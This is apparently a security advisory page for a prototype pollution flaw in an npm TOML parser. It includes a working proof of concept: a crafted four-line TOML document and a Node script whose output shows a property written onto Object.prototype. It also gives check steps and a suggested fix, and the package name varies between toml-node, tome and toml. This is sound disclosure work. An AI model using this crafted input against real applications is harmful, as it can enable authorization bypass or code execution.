---
id: "CVE-2026-114142"
kind: "vulnerability"
aliases: ["CVE-2026-114142", "GHSA-h895-cgqg-jf52"]
title: "toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype"
severity: "high"
cvss: 8.8
epss: 0.0031500000040978193
exploited: false
status: "open"
category: "package"
products: [{"name": "tome", "fixed": ["5.0.1"], "affected": "<= 5.0.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-1321", "node.js", "npm", "package", "tome", "toml"]
not_affected_if: ["not-using-tome-or-toml-node", "parses-only-trusted-toml", "version-5.0.1-or-later"]
published_at: "2026-10-21T21:17:56+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-h895-cgqg-jf52", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114142", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

The npm package toml-node (tome) parses a crafted TOML document into a prototype pollution, writing a property onto Object.prototype that every object in the process then inherits. An attacker who controls the TOML input can inject properties into shared objects, which commonly leads to auth bypass, denial of service, or RCE where a gadget exists.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:tome affected <= 5.0.0 fixed 5.0.1

## How to check

Run npm ls toml or npm ls tome to find the installed version; affected is 5.0.0 and earlier.
Search package-lock.json or yarn.lock for the tome/toml package at version 5.0.0 or lower.
Check whether any code path passes untrusted TOML (user uploads, third-party manifests, API bodies) into toml.parse().

## Fix

Upgrade the package to 5.0.1 or later.
Until upgraded, do not parse untrusted TOML with the affected version.

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-h895-cgqg-jf52
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-114142

## From the sources

### Summary
CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

### Details
Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.

**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment:

```js
287:  function quoteDottedString(str) {
288:    if (str.indexOf(".") > -1) {
289:      return "\"" + str + "\"";
290:    } else {
291:      return str;
292:    }
293:  }
```

So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:

```js
 93:      target = target[k];
...
103:    target[lastKey] = reduced;
```

A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.

Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.

```bash
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
```

```toml
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
```

Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`.
Line 2 is a table-array header whose rendered path collides with it, clearing its guard.
Line 3 re-enters that key, so the current table is now the `Date`.
Line 4 walks `Date` → `Date.prototype` → `Object.prototype`.

```js
// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
```

```
$ node poc.js
before: undefined
after:  "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"
```

The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

### Impact

Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_